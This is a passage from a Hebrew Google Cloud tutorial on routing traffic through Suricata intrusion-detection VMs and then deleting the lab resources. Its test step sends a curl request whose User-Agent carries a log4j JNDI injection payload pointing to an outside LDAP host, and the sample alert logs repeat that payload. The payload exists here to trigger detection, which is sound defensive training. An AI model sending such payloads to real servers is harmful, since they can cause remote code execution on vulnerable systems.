- חיבור SSH למכונה וירטואלית באזור $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- באופן דומה, שולחים תנועת בדיקה:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
הפלט אמור להיראות כך:
200
- שליחת בקשת log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
הפלט אמור להיראות כך:
200
שימו לב שהבקשה הזו בוצעה. זה צפוי כי לא הגדרתם את NSI עם $zonec. לקבוצת נקודות הקצה של היירוט יש רק שיוכים ל- $zonea ול- $zoneb.
- כדי לחזור ל-Cloud Shell, יוצאים מסשן ה-SSH.
exit
אימות לכך ש-Suricata קיבלה את הבקשות הזדוניות וחוסמת אותן
- מתחברים ב-SSH למכונת Suricata הווירטואלית באזור $zonea (suricata-$zonea), כדי לבדוק את היומנים:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- צפייה ביומנים אחרי סינון לפי סוג המתקפה:
cat /var/log/suricata/eve.json | grep log4j
יכול להיות שיוצגו לכם כמה רשומות. אם לא מופיעות רשומות, צריך לבדוק את היומנים של מכונת ה-VM של Suricata ב- $zoneb. פלט לדוגמה:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- כדי לחזור ל-Cloud Shell, יוצאים מסשן ה-SSH.
exit
אופציונלי, אפשר להתחבר ב-SSH למכונה הווירטואלית של Suricata באזור $zoneb (suricata-$zoneb) ולאמת את היומנים
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
צפייה ביומנים אחרי סינון לפי סוג המתקפה:
cat /var/log/suricata/eve.json | grep log4j
פלט לדוגמה:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
בנוסף, לכידת חבילות היא דרך טובה לראות את תעבורת הנתונים ולאמת אותה.
הפקודה הזו תסנן חבילות GENEVE. פקודה לדוגמה:
sudo tcpdump -i any -nn udp port 6081
עכשיו שולחים תנועת מבחן מ-VM של צרכן. פלט לדוגמה:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
שימו לב שעם tcpdump אפשר לראות את כותרות ה-GENEVE. כתובת ה-IP של המקור היא של שער תת-הרשת (10.0.0.1) וכתובת ה-IP של היעד היא של כלל ההעברה (10.0.0.11 או 10.0.0.12). החבילות שעברו אנקפסולציה מכילות את החבילות המקוריות – כתובת ה-IP של הלקוח consumer-$zonea (192.168.0.2) או consumer-$zoneb (192.168.0.3) והיעד google.com. זה מאשר שהחבילות נחטפות ונשלחות למכשיר של צד שלישי דרך Network Security Integration.
- כדי לחזור ל-Cloud Shell, יוצאים מסשן ה-SSH.
exit
מעולה. הצלחת לפרוס ולבדוק סביבה עם Network Security Integration (NSI) בתוך פס התדרים.
5. הסרת המשאבים
צרכן
מוחקים את המכונות הווירטואליות לצרכנים:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
מחיקת שיוך ומדיניות של חומת אש:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
מחיקת קבוצת פרופילים של אבטחה ופרופיל אבטחה:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
מחיקת שיוך של נקודת קצה ויירוט של קבוצות נקודות קצה:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
מחיקת Cloud NAT, Cloud Router וכתובת IP שמורה
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
מחיקת רשתות VPC ורשתות משנה
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Producer
מחיקת פריסות של חסימות:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
מחיקת קבוצת פריסה של חסימת שיחות (הפריסות של חסימת השיחות צריכות להסתיים לפני שהפקודה הזו תצליח):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
מחיקת כללי העברה:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
מחיקת כתובת IP שמורה של כלל העברה:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
מחיקת שירות קצה עורפי:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
מחיקת קבוצות של מכונות לא מנוהלות:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
מחיקת בדיקת תקינות:
gcloud compute health-checks delete nva-hc -q
מחיקת מכונות וירטואליות של Producer:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
מוחקים את Cloud NAT, את Cloud Router ואת כתובת ה-IP השמורה:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
מוחקים את השיוך של מדיניות חומת האש:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
מוחקים את מדיניות חומת האש:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
מחיקת רשת ה-VPC והתת-רשת
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. מעולה!
כל הכבוד, סיימתם בהצלחה את ה-Codelab בנושא Network Security Integration בתוך פס התדרים עם Suricata.
צפייה בסרטוני הדגמה ספציפיים לספק של NSI בתוך פס:
כדאי לעיין במדריכי הפריסה הספציפיים לספקים שעשויים להיות רלוונטיים לארגון שלכם: